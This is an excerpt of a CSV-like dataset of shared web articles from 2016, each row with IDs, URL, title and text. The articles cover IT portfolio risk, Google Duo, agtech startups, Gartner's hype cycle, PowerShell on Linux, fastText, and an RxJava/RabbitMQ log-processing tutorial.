framework and then collaboratively evolve them from there. The framework ha both delivery team roles as well as enterprise IT roles defined. Manage IT risk . Risk management for the entire IT portfolio, including both in-progress development teams as well as operational risks. Small risks on individual teams can add up to a large risk across your organization. For example, if many teams adopt a new and relatively unproven framework and that framework is then abandoned by its creators (think about how many open source projects or new companies flounder) then you have a serious problem. Similarly, when multiple teams start addressing a similar business opportunity and that line of business dries up or is legislated away. Although risk management is addressed on delivery teams via the goals Identify Risks and Address Risk , their focus is on risk management within a team as opposed to risk management across all of IT, or even across all of your organization.",en
1471542369,CONTENT SHARED,-4673604375671208816,3217014177234377440,-6192724235953183940,,,,HTML,http://view.iil-email.com/?qs=df2e937b372a248aaa474c786e60abbaa38963beb510716a8ad3eb4012c702a3e907f6724eb4049629b4b6102a5581e331ab2952b300bd75e60b47235d77b752ecfa0c401993ba9f,[Paper] Portfolio Management White Paper,"While this is certainly an important component of portfolio management, it's only one of many to consider at the outset. So, where do you start? Well, that's the very question I asked many years ago when I realized our company was drowning in too many projects, and too many of those projects were top priority.",en
1471546627,CONTENT SHARED,8318042399332883628,-9009798162809551896,6107434169856046741,,,,HTML,https://brasil.googleblog.com/2016/08/conheca-o-google-duo-um-app-de-chamadas.html,Conheça o Google Duo: um app de chamadas de vídeo para todos,"Uma chamada de vídeo é o melhor recurso para quem quer se sentir próximo de uma outra pessoa, mas, muitas vezes, pode se tornar uma experiência frustrante ou complicada. Você não deveria ter de se preocupar se irá ligar ou atender a ligação, ou se o seu amigo está usando o mesmo tipo de dispositivo que você. Hoje, estamos lançando o Google Duo , um app simples de chamadas de vídeo entre duas pessoas. Ele está disponível para Android e iOS. O Duo tira a complexidade das chamadas de vídeo, para que você possa estar junto, em todos os momentos, em qualquer lugar que esteja. O Google Duo funciona em Android e iOS - Você só precisa de um celular! O Duo é simples do início ao fim. Tudo de que você precisa é de um número de telefone para ser capaz de ligar para qualquer pessoa em sua lista de contatos. Não é preciso uma conta separada. Você pode se inscrever e começar a ligar em apenas alguns cliques. A partir daí, você pode instantaneamente começar uma chamada de vídeo com apenas um toque. Rápido e confiável Todos nós sabemos como é frustrante quando uma chamada falha ao conectar ou um vídeo fica instável. Nós construímos o Duo para ser rápido e confiável, para que as chamadas de vídeo conectem rapidamente e funcionem bem, até mesmo em conexões mais lentas. A qualidade da chamada se ajusta a diversas condições de rede para te manter conectado -- quando o consumo de banda é limitado, o Duo irá reduzir levemente a resolução para fazer com que a chamada continue sem problemas. Para chamadas de vídeo em movimento, o Duo irá alternar entre Wi-Fi e dados do celular, automaticamente, sem deixar sua ligação cair. Você pode começar a chamada na sua casa, e continuá-la, perfeitamente, mesmo quando sair para a rua. Design humanizado Nós desenvolvemos o Duo para ser algo bem pessoal, focado apenas em você e a pessoa que está ligando. Para fazer com que as chamadas pareçam mais como um convite do que como uma interrupção, nós criamos uma ferramenta no Duo chamada de Knock Knock que permite que você veja um vídeo ao vivo de quem está te ligando antes de atendê-la, te dando uma prévia do que a pessoa que te liga está planejando e porquê ela deseja conversar. Knock Knock faz com que as chamadas de vídeo sejam mais espontâneas e bem-vindas, ajudando você a se conectar com a pessoa antes mesmo que ela atenda. Knock Knock permite que você veja quem está ligando antes de atender Por fim, nos preocupamos muito com privacidade e segurança, por isso todas as chamadas feitas com o Duo são criptografadas do início ao fim. Curta o Duo com seus amigos! Estamos começando a rodá-lo hoje para Android e iOS , e estará disponível para o mundo todo nos próximos dias. Postado por Justin Uberti, engenheiro-chefe de software",pt
1471550482,CONTENT SHARED,-6566175321434139682,-5264754785175108362,-794748944899950432,,,,HTML,https://www.linkedin.com/pulse/77-startups-powering-future-farming-agribusiness-ed-w-siatti-,77 Startups Powering The Future Of Farming And Agribusiness,"Corporate investors such as Mitsui, Monsanto, and Syngenta have backed startups improving irrigation, crop spraying, harvesting, and more. www.cbinsights.com/blog/agriculture-tech-market-map-company-list/ We used CB Insights data to identify 77 private companies in agriculture tech and categorized them into seven main categories. These startups address a variety of key problems facing the agriculture industry and provide a range of services, new technologies, insights, new ways of farming, and more. We define agriculture tech as technology increasing the efficiency of farms, in the form of software, sensors, aerial-based data, internet-based distribution channels (marketplaces), and tools for technology-enabled farming that doesn't require the traditional setting and inputs. The breakdown is as follows: Farm Management Software : This includes software like that produced by Andreessen Horowitz-backed Granular that allows farmers to more efficiently manage their resources, crop production, farm animals, etc. Precision Agriculture and Predictive Data Analytics : These startups include those that focus on using big data and predictive analytics to answer farm-related questions and consequently make better decisions related to their farm to save energy, increase efficiency, optimize herbicide and pesticide application (such as Brazil-based Strider ) and manage risk. Sensors : Startups in the sensor category including Agrilyst develop and provide smart sensors that collect data and help farmers monitor crop health, animal health, weather, soil quality, waste, water usage, and other factors to help make smarter decisions. Drones and Robots : This category includes companies that provide drones or aerial services catering to agriculture (such as Ceres Imaging ), as well as robots or intelligent farm machines that perform various farm functions more efficiently (such as Blue River Technology , backed by Monsanto Growth Ventures, Syngenta Ventures, and Khosla Ventures, among others). Smart Irrigation : These startups (including Hortau ) provide systems that help monitor and automate water usage for farms. New Farms : This is a small but growing category which includes startups (like indoor farming startup Aero Farms ) that use technology to provide alternative farming methods to enable farming in locations and settings that cannot support traditional farming Marketplaces : These startups help create and regulate marketplaces relevant to this industry, such as those connecting farmers and buyers of fresh local produce (like Paris-based La Ruche Qui Dit Oui ) and linking farmers with suppliers of farm equipment. See the full company list below:",en
1471550601,CONTENT SHARED,-8190931845319543363,-1032019229384696495,-478224908960553328,,,,HTML,https://arc.applause.com/2016/08/17/gartner-hype-cycle-2016-machine-learning/,Machine Learning Is At The Very Peak Of Its Hype Cycle - ARC,"Machine learning has earned a prestigious honor in its march to technological relevance ... The peak of its hype cycle. According to the 2016 Gartner Hype Cycle for Emerging Technologies , machine learning is at the very ""peak of inflated expectations,"" the highest point in the S-curve that Gartner awards technologies in its Hype Cycle reports. 2016 has been full of machine learning and artificial intelligence news as companies like Google, Facebook, Microsoft, Intel and IBM announce and release new tools to take advantage of neural networks that can train computers. Many machine learning advocates may feel betrayed to think that machine learning is at the peak of its hype cycle, thinking that analysts like Gartner believe machine learning to be all fluff and no substance. But that is not the case. Many emerging technologies never actually make it to the peak of the hype cycle, fizzling out long before they can make a true impact. In reality, technologies that make it to the peak of the hype cycle are almost ready for universal deployment. Much of the research and development of the technology has already been done and the real implementation (and all the headaches that go with it) is about to begin. That's why technologies fall from the peak of inflated expectations to ""the trough of disillusionment"" as developers go through the painful process of tightening the nuts and bolts to make the technology easier to use for the average person or enterprise. Machine learning will be extremely valuable to enterprises over the next decade thanks to radical computer power and endless data, which will allow companies to adapt quickly to new situations, Gartner said. Immersive experiences such as virtual and augmented reality have already begun a move towards the mainstream, with both consumers and enterprises adopting them within the next five to 10 years. The Hype Cycle Offers A Glimpse Of The Future Companies that invest in immersive experiences, smart machines and ecosystem-enabling platforms are likely to have a significant advantage over their rivals in the very near future. According to Gartner's Hype Cycle, these are the three key technology trends that enterprises and developers need to succeed (or at least be aware of) in the digital economy. The report is the longest running of Gartner's annual hype cycles and is considered to be an accurate barometer as to where technology is heading over the next decade or so. At the same time, the so-called platform revolution will shift the emphasis from a technical infrastructure to a dynamic ecosystem that relies on both internal and external algorithms to drive value, said the report. Companies need to redefine their business strategies to become more dynamic, especially as emerging technologies are redefining how established platforms are used. ""These trends illustrate that the more organizations are able to make technology an integral part of their employees', partners' and customers' experience, the more they will be able to connect their ecosystems to platforms in new and dynamic ways,"" said Gartner research director Mike J. Walker, in a press release. ""Also, as smart machine technologies continue to evolve, they will become part of the human experience and the digital business ecosystem."" All three of the identified trends have been part of the hype cycle for quite some time, so it is not really a surprise to see them featured so prominently in the latest emerging technologies report. Gartner's reports concentrate on five phases of development for a given technology, all of which match expectation with time to mainstream adoption. The phases are a must-know reference point for companies that are engaged in strategic planning. Some technologies are obviously further developed than others, but all are-in theory-capable of giving companies a competitive advantage, said Gartner. The phases are as follows: The Innovation Trigger , where the technology moves from the realms of science fiction to a potential reality. Peak of Inflated Expectations , the period when the technology will be the best thing since sliced bread ... one day. Trough of Disillusionment , which turns excitement into the realization that the innovation is still a long way off. Slope of Enlightenment , or in other words when the innovation is mature enough to provide real-world business uses. Plateau of Productivity , when the technology is actually mature and being used by companies or industries on a regular basis. For example, machine learning currently sits at the top of the Peak of Inflated Expectations, with mainstream adoption expected within two to five years. Advances in neural networks and the ubiquitous availability of big data have made machine learning one of the major concepts in IT, so much so that it has the capacity to transform companies, the report said. See also: Smart Dust May Be The Pinnacle Innovation Of The Internet Of Things And then there is virtual and augmented reality. The technology has been around for decades but has often veered between the Peak of Inflated Expectations and the Trough of Disillusionment. Over the last year, the landscape has changed dramatically, thanks mainly to the fact that virtual reality experiences and hardware have started to flow into the consumer world. The latest hype cycle shows that virtual reality is now firmly ensconced in the Slope of Enlightenment and should reach mainstream adoption in five to 10 years. Augmented reality-which many people consider to be a more viable option-is slowly traversing the trough, with the expectation that this will happen over a similar timeframe. Why Technology Needs To Be Constantly Tracked Other sci-fi technologies from the 2015 version of the hype cycle that were on the upward slope-smart dust, human augmentation, brain-computer interface-are at least ten years from maturity, the report said. Autonomous vehicles , which occupied machine learning's position at the Peak of Inflated Expectations a year ago, have started the slow decline into disillusionment ... irrespective of the current bullish attitude of the auto industry. ""To thrive in the digital economy, enterprise architects must continue to work with their CIOs and business leaders to proactively discover emerging technologies that will enable transformational business models for competitive advantage, maximize value through reduction of operating costs, and overcome legal and regulatory hurdles,"" said Walker. ""This Hype Cycle provides a high-level view of important emerging trends that organizations must track, as well as the specific technologies that must be monitored."" Lead image: "" Machine Learning "" by Flickr user Thomas Hawk , Creative Commons . Stay in the know! Subscribe to ARC and keep up-to-date with a daily or weekly subscription.",en
1471560584,CONTENT SHARED,-3758287970266820834,-4467650312287951120,-6149536765923189357,,,,HTML,https://azure.microsoft.com/en-us/blog/powershell-is-open-sourced-and-is-available-on-linux/,PowerShell is open sourced and is available on Linux,"Today's customers live in a multi-platform, multi-cloud, multi-OS world - that's just reality. This world brings new challenges and customers need tools to make everything work together. Microsoft is working company-wide to deliver management tools that empower customers to manage any platform, from anywhere, on any device, using Linux or Windows. This shift to a more open, customer-obsessed approach to deliver innovation is one of the things that makes me most excited to come to work every day. You've heard Satya Nadella say ""Microsoft loves Linux"" and that's never been more true than now. Nearly one in three VMs on Azure are Linux. Nearly 60 percent of third-party IaaS offers in the Azure Marketplace are open source software (OSS). We have forged strong industry partners to extend choice to our customers. We've announced SQL Server on Linux, as well as open sourced .NET. We added Bash to Windows 10 to make it a great platform for developing OSS. And, we're active contributors and participants to numerous open source projects (e.g. OpenSSH, FreeBS, Mesos, Docker, Linux and many more) across the industry. Today, we are taking the next step in our journey. I am extremely excited to share that PowerShell is open sourced and available on Linux. (For those of you who need a refresher, PowerShell is a task-based command-line shell and scripting language built on the .NET Framework to help IT professionals control and automate the administration of the Windows, and now Linux, operating systems and the applications that run on them.) I'm going to share a bit more about our journey getting here, and will tell you how Microsoft Operations Management Suite can enhance the PowerShell experience. The journey to opening up PowerShell Let's start the journey to PowerShell on Linux, and an open sourced version with a story... My customer was upset. Early in the days of Monad (before it was PowerShell), I gave a demo to an executive of a large customer. He loved it but now he was angry with me. He had asked me in what language it was implemented and was unhappy with my answer: C#. Confused, I asked why that was a problem. ""Because"" he told me, ""Monad is exactly the right approach and I want to standardize my entire company on it, but I can't because .NET is not available on Linux!"" In the past, Microsoft's business focus meant that .NET, and thus PowerShell, were only available on Windows. But this is a new Microsoft. Satya's leadership and Azure have shifted us to a more open, customer-centric, mindset captured perfectly in this photo: Microsoft wants to earn customers' preference as the platform for running all their workloads - Linux as well as Windows. This new thinking empowered the .NET team to port .NET Core to Linux and that in turn, enabled PowerShell to port to Linux as well. PowerShell on Linux is now designed to enable customers to use the same tools, and the same people, to manage everything from anywhere. It is initially available on Ubuntu, Centos, as well as Red Hat, and also runs on Mac OS X. More platforms will be added in the future. You can download Alpha builds and check out the source code from GitHub . Now, users across Windows and Linux, current and new PowerShell users, even application developers can experience a rich interactive scripting language as well as a heterogeneous automation and configuration management that works well with your existing tools. Your PowerShell skills are now even more marketable, and your Windows and Linux teams, who may have had to work separately, can now work together more easily. So, where are we in this journey? We are in the beginning stages and in learning mode. We started by open sourcing small portions of PowerShell and talking to a number of our partners who were experienced with open source to understand what it took to succeed. What we learned, is that it is critical that individual users can use Git to checkout code, make changes, compile everything on their machines and run all the tests to verify that their change didn't break anything. This required a large investment in our engineering/build/test systems. We also worked to define a governance model so we had clear roles, responsibilities, and processes so that community contributions could be smoothly incorporated into the product. The PowerShell team has always prided itself on being a very community focused team but this announcement takes it to the next level by making the source code available and by adopting an open source development model where we can enjoy a deeper connection with the community in RFCs, issues and accept contributions directly. We also needed to extend our community since open source, like so many things, takes a village and that village is key to a great experience! We are partnering with third party companies - Chef, Amazon Web Services, VMware, and Google to name a few - to create a rich, seamless experience across the platforms you know and use. As we port PowerShell to Linux, we are making sure that we are a first class citizen on that platform. We fit in well with the architecture, idioms and existing tools. This was pretty easy as most of the original PowerShell team had deep Unix backgrounds and that shows in our design. There were a number of little changes that we made and two big things: We created a PowerShell Editor Service . This allow users to choose from a range of editors (VS Code and Sublime with others to follow) and get a great PowerShell authoring experience with Intellisense, debugging, etc. We will be extending the PowerShell Remoting Protocol ( MS-PSRP ) to use OpenSSH as a native transport. Users will have the option to use SSH or WINRM as a transport. The initial release is an ""alpha"" and is community supported. In the future, we will deliver an official Microsoft released version of PowerShell based on open source to anyone running a supported version of Windows or *nix. The timing of the official Microsoft version will be based upon community input and business needs. We hope all of you will help us get it right! Extending the PowerShell experience with Microsoft Operations Management Suite I also want to tell you more about how today's PowerShell news extends what you can do with our cloud management solution, Operations Management Suite (OMS). OMS gives you visibility and control of your applications and workloads across Azure and other clouds. Integral to this, it enables customers to transform their cloud experience when using PowerShell on both Linux and Windows Server. OMS Automation elevates PowerShell and Desired State Configuration (DSC) with a highly available and scalable management service from Azure. You can graphically author and manage all PowerShell resources including runbooks, DSC configurations and DSC node configurations from one place. With OMS hybrid runbook worker, you can extend your OMS Automation capability and apply, monitor and update configurations anywhere, including on-premises. Today we also made the OMS monitoring agent for Linux generally available. Together, customers can gain rich insights and real-time visibility into their Linux workloads, and the power to quickly remediate any issues that may arise. We hope that all of you will take the time to test drive PowerShell on Linux and let us know what you think! You can also learn more about OMS Automation here . And, be sure to check us out at LinuxCon next week. Wim Coekaerts will be giving a keynote address, we'll have a booth where we'll be showing PowerShell, and I'll be doing a session that will be packed with demos. If you are new to PowerShell, a great way to start learning is with our Learning PowerShell repository on GitHub. We also offer a free Microsoft Virtual Academy online course: Getting Started with PowerShell 3.0 Jump Start . You'll want to join/participate in the PowerShell Community at powershell.org/ and follow the PowerShell Team blog . We'll be updating these to meet the needs of the Linux community (e.g. examples) in the near future. This has been a long time coming and it is going to be a lot of fun so please join us so that together we can produce a tool that knocks our socks off every time we use it.",en
1471561452,CONTENT SHARED,-2864378895481874465,-1443636648652872475,-4662927270527271362,,,,HTML,https://openai.com/blog/machine-learning-unconference/,Machine Learning Unconference,"Machine learning is moving incredibly quickly. To keep up, many practioners spend several weeks a year at conferences. However, conference presentations are all on work submitted months prior, meaning that people are already intimately familiar with the content (and it's often already been surpassed).",en
1471567315,CONTENT SHARED,-3368357500455466403,-6895155480127642372,2769798601568992361,,,,HTML,https://www.eventials.com/escolanacionaldeseguros/o-empreendedorismo-no-mercado-de-seguros/,O Empreendedorismo no Mercado de Seguros,"Um bate-papo sobre conhecimentos e habilidades técnicas, operacionais e comportamentais que todo empreendedor do mercado de seguros deve desenvolver, de forma contínua, para estruturar ou reestruturar seu negócio e, de forma planejada, atingir resultados crescentes e sustentáveis. Palestrantes: Bruno Kelly Administrador de empresas, MBA em Gerenciamento de Riscos (UFF), certificado pelo The Institutes (antigo AICPCU/IAA).",pt
1471571375,CONTENT SHARED,4508362112182399467,-1443636648652872475,5370317555391394665,,,,HTML,https://techcrunch.com/2016/08/18/facebooks-artificial-intelligence-research-lab-releases-open-source-fasttext-on-github/,Facebook's Artificial Intelligence Research lab releases open source fastText on GitHub,"Every day, billions of pieces of content are shared on Facebook. To keep up with the data, Facebook has been using a variety of tools to classify text. Traditional methods of classification, like deep neural networks, are accurate but have serious training requirements. In an effort to classify both accurately and easily, Facebook's Artificial Intelligence Research (FAIR) lab developed fastText. Today, fastText is going open source so developers can implement its libraries anywhere. FastText supports both text classification and learning word vector representations through techniques like bag of words and subword information . Based on the skip-gram model, words are represented as bag of character n-grams with vectors representing each character n-gram. ""In order to be efficient on datasets with very large number of categories, fastText uses a hierarchical classifier, in which the different categories are organized in a tree, instead of a flat structure (think binary tree instead of list),"" said Facebook authors Armand Joulin, Edouard Grave, Piotr Bojanowski, and Tomas Mikolov in a post. For those less artificially intelligent, the bag of words process is fast because it essentially ignores word order and instead focuses on the occurrences of a word. ""Words"" are represented in a multidimensional space and linear algebra is used to calculate the relationship between a query and a categorized set of words. Remember that when we feed a computer text, we are starting from scratch. To adults, grammar is intuitive - we know what words are, where they end and where they begin. Computers can handle the most complex computational challenges, but can struggle to differentiate ""I love TechCrunch"" from ""CrunchLove iTech."" Methods like this essentially take a qualitative analysis problem and force it to be quantitative through the addition of statistics. These techniques enable fastText to be faster than traditional deep learning methods. Facebook created this nifty comparison chart to show us side-by-side accuracy. FastText is not restricted to English and can work with other languages including German, Spanish, French, and Czech. Earlier this month, Facebook implemented an anti-clickbait algorithm into its Newsfeed. While the algo is quite complicated and focuses on both behavioral identifiers and language, fastText enables developers to create similar tools themselves. Not to brag but Facebook says that the new open source technology can be ""trained on more than 1 billion words in less than 10 minutes using a standard multicore CPU. fastText can also classify a half-million sentences among more than 300,000 categories in less than five minutes."" #HumbleBrag Starting today, Facebook's fastText will be available from their GitHub .",en
1471604885,CONTENT SHARED,4479576054067772847,-1443636648652872475,5370317555391394665,,,,HTML,http://www.jonobacon.org/2016/08/18/opening-up-data-science-with-data-world/,Opening Up Data Science with data.world - Jono Bacon,"Earlier this year when I was in Austin, my friend Andy Sernovitz introduced me to a new startup called data.world . What caught my interest is that they are building a platform to make data science and discovery easier, more accessible, and more collaborative. I love these kinds of big juicy challenges! Recently I signed them up as a client to help them build their community, and I want to share a few words about why I think they are important, not just for data science fans, but from a wider scientific discovery perspective. Armchair Discovery Data plays a critical role in the world. Buried in rows and rows of seemingly flat content are patterns, trends, and discoveries that can help us to learn, explore new ideas, and work more effectively. The work that leads to these discoveries is often bringing together different data sets to explore and reach new conclusions. As an example, traffic accident data for a single town is interesting, but when we combine it with data sets for national/international traffic accidents, insurance claims, drink driving, and more, we can often find patterns that can help us to influence and encourage new behavior and technology. Many of these discoveries are hiding in plain sight. Sadly, while talented data scientists are able to pull together these different data sets, it is often hard and laborious work. Surely if we make this work easier, more accessible, consistent, and available to all we can speed up innovation and discovery? Exactly. As history has taught us, the right mixture of access, tooling, and community can have a tremendous impact. We have seen examples of this in open source (e.g. GitLab / GitHub ), funding (e.g. Kickstarter / Indiegogo ), and security (e.g. HackerOne ). data.world are doing this for data. Data Science is Tough There are four key areas where I think data.world can make a potent impact: Access - while there is lots of data in the world, access is inconsistent. Data is often spread across different sites, formats, and accessible to different people. We can bring this data together into a consistent platform, available to everyone. Preparation - much of the work data scientists perform is learning and prepping datasets for use. This work should be simplified, done once, and then shared with everyone, as opposed to being performed by each person who consumes the data. Collaboration - a lot of data science is fairly ad-hoc in how people work together. In much the same way open source has helped create common approaches for code, there is potential to do the same with data. Community - there is a great opportunity to build a diverse global community, not just of data scientists, but also organizations, charities, activists, and armchair sleuths who, armed with the right tools and expertise, could make many meaningful discoveries. This is what data.world is building and I find the combination of access, platform, and network effects of data and community particularly exciting. Unlocking Curiosity If we look at the most profound impacts technology has had in recent years it is in bubbling people's curiosity and creativity to the surface. When we build community-based platforms that tap into this curiosity and creativity, we generate new ideas and approaches. New ideas and approaches then become the foundation for changing how the world thinks and operates. As one such example, open source tapped the curiosity and creativity of developers to produce a rich patchwork of software and tooling, but more importantly, a culture of openness and collaboration. While it is easy to see the software as the primary outcome, the impact of open source has been much deeper and impacted skills, education, career opportunities, business, collaboration, and more. Enabling the same curiosity and creativity with the wealth of data we have in the world is going to be an exciting journey. Stay tuned.",en
1471606445,CONTENT SHARED,8582210754044680874,7645894863578715801,5690372062060589522,,,,HTML,https://balamaci.ro/reactive-log-processing/,Reactive log stream processing with RxJava - Part I,"Centralized logs as a data source for realtime data analysis In the previous blog entries we saw how we can leverage the power of the ELK stack for log collection and analysis of our Java apps. With the move towards microservices or containerization of applications it becomes the defacto standard to have a stack for centralized log processing and storage. Can we maybe go the next step and use that information proactively instead of just for just finding the cause of problems long after they appeared? If we were to consider the log events as a stream of data for things happening in realtime in your system it would be very interesting to tap into and perform realtime data analysis with all sorts of uses like detecting fraudulent behavior for example by aggregating different streams of information while the ""attack"" is happening and block the attacker instead of the ""traditional"" way of just using log data for forensics to investigate after the issue appeared. For ex. we could filter only events of a certain type, 'group by' a common key like the userID and count them in a time-window to get the number of actions of that type the user is doing in a certain timeframe. We could trigger queries in other systems and treat those responses as streams to which we can subscribe and apply a multitude of common stream operators that reactive streams frameworks provide. And the good thing is that since you're working with already existing log outputs you can build this separate and extend it without touching or polluting the business logic of the application. Learning a new programming paradigm This could be a good excuse to get into the world of Reactive stream programming and we don't really need something as big as Kafka Streams Spark or Flink to get us started. Reactive programming is about non-blocking , event-driven applications that scale even on a small number of threads with back-pressure(feedback mechanism to ensure producers do not overwhelm consumers). The biggest new thing Spring5 will bring will be Reactive support . A new module spring-web-reactive a framework similar with spring-web-mvc that enables async response(non blocking) REST services and a reactive web-client and that will probably work great for microservice architectures. The reactive-streams concepts is not just Spring specific, but instead there is a common specification reactive-streams-jvm agreed upon by the major reactive frameworks(so while there might not be exact name matches the concepts will make it easy to switch frameworks). Historically Rx.NET introduced the reactive-streams model, and Netflix ported it to java with RxJava. And the specification has been implemented into other languages as well under the ReactiveX umbrella. You care read more about how they relate . Also reactive streams will come to Java 9 as Doug Lea wants to include the reactive-streams under container object java.util.concurrent.Flow Benefits from a performance perspective Also another buzzword right now is the microservices architecture where you need to be able to make requests to multiple other services. Ideally you'd want to do it without blocking waiting for the whole response before making the request to the next service. Think that instead of waiting for a whole possibly huge List to be returned by a service, it might be the case to start a query in another system as soon as the first element is available. Treating that remote call response as a Stream to which we subscribe for an action when the response arrives, instead of blocking the thread waiting for the response means we can use less threads overall which in turn means less resources wasted(cpu for context switching between threads and memory for each thread stack) . So by using reactive programming we should be able to handle a larger amount of log events with commodity hardware . An example: If we're a service like GMail and we need to display the user's emails. However emails in turn might have many people in CC. It would be nice to display a photo for those that the user has in his contacts - which means a REST call in the ContactsService We'd normally have something like Partially the problem has been improved with the reactive support from Java8 with CompletableFuture (which with it's thenCompose, thenCombine, thenAccept and other 50 something methods it's not making it easy to remember what each method does, which in turn I think doesn't help readability). we could switch to an Iterator data type instead of List still there are no methods to tell it to do something when a new value arrives. SQL does this with returning the ResultSet(on which you can do rs.next()) instead of getting the whole data in memory. But we need to constantly ask ""do you have a new value""? What we'd need instead would be like a reactive Iterator , a datatype to which you could subscribe for an action to be executed once there is a new value ready and this is where reactive stream programming begins. So what is a Stream? A Stream is simply a sequence of events ordered in time (eventX was emitted after eventY, there are no concurrent events ). A Stream is modeled so it can emit 0..N events and either one of two terminal operations : - completed event through which it signals subscribers that it finished emitting data - error event for signaling it finished exceptionally We can describe that visually with the use of 'marble diagrams'. So everything can be thought as being a Stream, not just log events. Even a single value can be expressed as a Stream by emitting the value followed by an completed event. An infinite stream is one that only emits events but not any of the terminal events(completed | error). RxJava defines the Observable data type to model the Stream of events of type <T>. Spring Reactor's equivalent is Flux Observable<Double> to represent a stream of temperatures taken at various intervals. Observable<CartItem> to represent a stream of products bought in our web store. Observable<User> to represent a single User returned by a DB query But Observable<T> is just a datatype and same as the Publish/Subscriber pattern, we need a Subscriber to process the 3 types of events Reactive operators But that is just the Stream part, and until now we've not been doing something more special than the classic Observer pattern. The Reactive part means we can define some Function (the operators ) that will be executed when the stream emits an event. That means another stream will be created(streams are immutable) to which we can subscribe another operator and so on. Since the operator methods of the Observable class(filter, map, groupBy,...) return Observable, it means we can chain the operators together and combined with lambda syntax we can write something pretty The thing to notice above is that when creating priceStream nothing is happening in the sense that priceService.getPrice() is not getting invoked until there is an item flowing through the operators chain. That means we created through the rx-operators sort of a blueprint of how the data will be manipulated once it starts flowing downstream(a subscriber registers). When asked to explain reactive programming people jokingly give as an example an Excel sheet where you write the formulas for columns and as soon as you update a cell the formula is triggered which updates another cell which in turn triggers another formula and so on. Just like that the rx-operators don't do anything by themselves they are just formulas for data manipulation and each gets a chance to do it's thing before passing it down the chain. To help understand better how events travel along the operators chain I found helpful the analogy of the house movers proposed by Thomas Nield where each house mover is an operator passing along house objects. He gives as example the following code: "" Mover 1 on the far left is the source Observable . He creates the emissions by picking items out of the house. He then calls onNext() on Mover 2, who does a map() operation . When his onNext() is called he takes that Item and puts it in a Box. Then he calls onNext() on Mover 3, the final Subscriber who loads the box on the truck."" The magic or RxJava is the large set of operators available and your job on how to combining them together to manipulate the flow of data. The many Stream operators help establish a common vocabulary of manipulations when dealing with streams that can have implementations in popular languages(RxJava, RxJS, Rx.NET, etc) of the ReactiveX framework. These concepts should be familiar even when using different reactive streams frameworks like Spring Reactor (with the hope of an agreement for a common base of operators ). Until now we only saw simple operators like filter : Which means but it only pushes downstream elements which pass the filtering condition(one mover drops everything with a value < 100$ instead of passing it to the next mover) There are however operators which can split a stream into many streams - Observable<Observable<T>>(Stream of Streams) - operators like groupBy and the rather simple operator concat which merges back the ""odd"" and ""even"" stream into a single one to which we subscribe. as we can see the concat operator waits for a stream to complete before appending another one and so on, creating back a single stream. Thus the odd numbers were displayed first. Also we have the way to merge back together multiple streams like zip operator Zip is not named that way because it's acting like an archiving program but rather from the way a zipper works to combine events from two streams. It's taking one event from a stream and pairs it with another from the other stream as soon as one is ready, and applies a merging operator before sending it downstream. PS: It also works with more than just two streams. So even if one stream is emitting faster, the downstream listener will only see the combined event as soon as there is a matching event being emitted on the slower stream. It's actually very useful as a way to ""wait"" for the response of multiple remote calls which return streams. The combineLatest on the other hand it's not waiting for a pair emission to appear but instead uses the last emission from the slower stream before applying the merge function and sending it downstream. Moving to a Push based mindset Let's see some examples of how you can actually create Observables. The most verbose variant but which let us understands more: Events are pushed onto the subscriber as soon as it subscribes . It's not doing this on construction, here we just passed it a new OnSubscribe object which represent what to do when someone subscribes. Until we subscribe to the Observable there is no output, there is nothing happening - the data is not flowing-. When someone subscribes, the call() method is invoked and 3 events are pushed downstream followed by the signal that the stream completed. Above we subscribed twice, the code inside call(...) method will be invoke twice also. So it's effectively re-pushing the same values as soon as someone else subscribes and the following output will be produced: Important thing to notice is that rx operators don't necessarily mean multithreading. RxJava doesn't inject any concurrency by default between the Observable and the Subscriber. This is why all the calls are happening on the 'main' thread. This kind of Observable that is starting even emission when someone subscribes is what we call cold observables . The other type is hot observables , they emit events even when nobody is subscribed. Cold Observables Only begins emitting the events when someone subscribes - they start the work(ex: makes a DB query) when subscribed to-. Each subscriber gets the same events. Sort of like a CD where the same songs are played to whomever puts the cd into the player to listen. Hot Observables Events are emitted even when there are no subscribers. Like a radio stations where it plays the song in the air even when nobody is tuned in . Just like when you tune in later on a station, you miss previous events. Hot observables model events to which you don't have control over when they emit. Like when the log events are produced. Subject s are special kind of Observable that is also an Observer(like Subscriber - which means we can push events(call onNext()) to them-) and make implementing hot Observables easier. There exists more implementations like ReplaySubject that keeps the emitted events in a buffer and replay them on subscription(you can ofcourse specify the size of the buffer to prevent OutOfMemory), while PublishSubject only pass on events that happened after subscription. And of course there are more static helper methods for creating Observables from other sources Adding a push based data emitter to our ELK stack - RabbitMQ In a traditional ELK stack we use ElasticSearch to query the log events data so a more 'pull based' system. Could we have instead a push based where we're notified ""immediately"" when another log event appears to further reduce the reaction time from when the event is produced to when we begin processing it. One of the many possible solutions would be RabbitMQ as being a battle tested solution with a very good reputation for performance for handling a huge amount of messages. Besides that Logstash already supplies a plugin for RabbitMQ(there is also one for FluentD) so we can easily integrate it in our existing ELK stack and write the log data both to ElasticSearch and RabbitMQ. You may remember from that Logstash can act as a controller and choose how to process and where to send/store the log events. That means we can decide to filter log events we want to process or to send them to different RabbitMQ queues. There is even the option to send data directly to RabbitMQ through a Logback Appender should you want to bypass Logstash. Or a generic JMS server like this JMS Appender should you want to use ActiveMQ. However our solution was to use logstash-logback-encoder to send JSON formatted log events to Logstash. We'll now redirect the logstash output to a RabbitMQ exchange. We'll use docker-compose to start up a logstash-rabbitmq cluster. You can clone the repo . and you can use ./event-generate.sh to generate some random events that get pushed to logstash. It's using the logstash configuration file to specify where we want to send the data. We use the rabbitmq-output-plugin as reference: RabbitMQ is not a traditional JMS server, instead it uses the AMQP protocol which has quite a different concept for queues. A publisher sends messages to a named exchange and a consumer pulls messages from a queue. The message has a standard header 'routing-key' which is used in a process called binding to associate an exchange message to a queue. The queues can filter which messages they receive via the binding key and you can use wildcards in the binding like 'logstash.*' For an indepth explanation for AMQP you can read here and here . So we configured a Spring connection to RabbitMq We defined a queue and bind it to the 'logstash' exchange to receive messages with the 'my_app' routing key. The MessageListenerAdapter above defines that the 'receive' method should be called on Receiver bean every time a new message is received from the queue. Since we're expecting a continuous stream of log events we don't have control over, we can think of using a hot observable that pushes events to all subscribers after they subscribed so we can use PublishSubject for the job. We need to be aware that event the SimpleMessageListenerContainer supports having more than one thread that consumes from the queue(and emits the events downstream). However the Observable contract says we cannot emit events concurrently(calls to onNext,onComplete,onError must be serialized): We could go around this problem by calling Observable.serialize() or Subject.toSerialized() but since we just go with the default of 1 Thread in the ListenerContainer, there is no need to do so. Still you need to be aware of this if you plan to use Subjects as an event bus 